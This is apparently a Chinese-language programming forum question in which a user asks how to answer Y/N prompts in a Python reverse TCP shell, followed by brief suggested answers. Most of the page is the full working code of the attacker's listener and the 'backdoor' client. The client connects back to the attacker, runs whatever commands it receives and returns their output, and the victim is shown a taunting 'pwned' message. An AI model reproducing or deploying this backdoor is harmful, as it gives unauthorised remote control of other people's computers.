Python 如何在反向shell中继续执行命令?
我用python构建了一个简单的反向TCP shell,它工作得很好,除非我尝试运行一个需要确认器(如“Y”或“N”)的命令,如shutdown或rm。我不能输入“Y”或“N”,因为它将其视为一个单独的命令,而不是上一个命令的后续命令,如果这有意义的话 以下是侦听器的代码:Python 如何在反向shell中继续执行命令?,python,sockets,tcp,subprocess,Python,Sockets,Tcp,Subprocess,我用python构建了一个简单的反向TCP shell,它工作得很好,除非我尝试运行一个需要确认器(如“Y”或“N”)的命令,如shutdown或rm。我不能输入“Y”或“N”,因为它将其视为一个单独的命令,而不是上一个命令的后续命令,如果这有意义的话 以下是侦听器的代码: #Server side import socket host = "0.0.0.0" port = 9999 buffer = 10240 s = socket.socket() s.bind((
#Server side
import socket
host = "0.0.0.0"
port = 9999
buffer = 10240
s = socket.socket()
s.bind((host, port))
s.listen(5)
print(f"Listening as {host}:{port}...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
message = "You have been pwned by Mackenzie Blackaby... Enjoy your dead computer".encode()
client_socket.send(message)
while True:
command = input("Enter the command to pwn your opponent: ")
client_socket.send(command.encode())
if command.lower() == "exit":
break
results = client_socket.recv(buffer).decode()
print(results)
client_socket.close()
s.close()
这是后门的代码:
#Client side
import socket
import subprocess
host = "My public IP, removed for privacy due to port forwarding"
port = 9999
buffer = 10240
s = socket.socket()
s.connect((host, port))
message = s.recv(buffer).decode()
print(message)
while True:
command = s.recv(buffer).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.close
- 所以你的任务需要一个确认人,对吗
- 您可以在获取初始输入后并在将消息发送到服务器之前立即使用if-else创建确认器
- 检查“Y”或“是”并发送消息,否则发送其他消息或提示用户发送其他图像并再次输入。(发送部分或其他消息很重要,因为它是一个半双工系统